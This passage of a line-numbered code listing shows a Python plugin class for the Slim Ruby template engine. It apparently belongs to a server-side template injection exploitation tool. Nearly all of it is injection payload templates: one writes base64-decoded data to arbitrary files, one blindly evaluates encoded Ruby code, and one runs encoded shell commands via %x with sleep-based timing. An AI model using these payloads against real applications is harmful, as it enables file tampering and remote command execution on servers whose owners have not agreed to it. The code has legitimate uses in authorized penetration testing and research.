(self)
| 8 | class Slim(ruby.Ruby): |
| 9 | |
| 10 | def init(self): |
| 11 | |
| 12 | self.update_actions({ |
| 13 | 'render' : { |
| 14 | 'render': '"#{%(code)s}"', |
| 15 | 'header': """=('%(header)s'+""", |
| 16 | 'trailer': """+'%(trailer)s')""", |
| 17 | }, |
| 18 | 'write' : { |
| 19 | 'call' : 'inject', |
| 20 | 'write': """=(require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) })""", |
| 21 | 'truncate' : """=(File.truncate('%(path)s', 0))""" |
| 22 | }, |
| 23 | 'evaluate_blind' : { |
| 24 | 'call': 'inject', |
| 25 | 'evaluate_blind': """=(require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i))""" |
| 26 | }, |
| 27 | 'execute_blind' : { |
| 28 | 'call': 'inject', |
| 29 | 'execute_blind': """=(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}))""" |
| 30 | }, |
| 31 | }) |
| 32 | |
| 33 | self.set_contexts([ |
| 34 | |
| 35 | # Text context, no closures |
| 36 | { 'level': 0 }, |
| 37 | |
| 38 | # TODO: add contexts |
| 39 | |
| 40 | ]) |
nothing calls this directly
no test coverage detected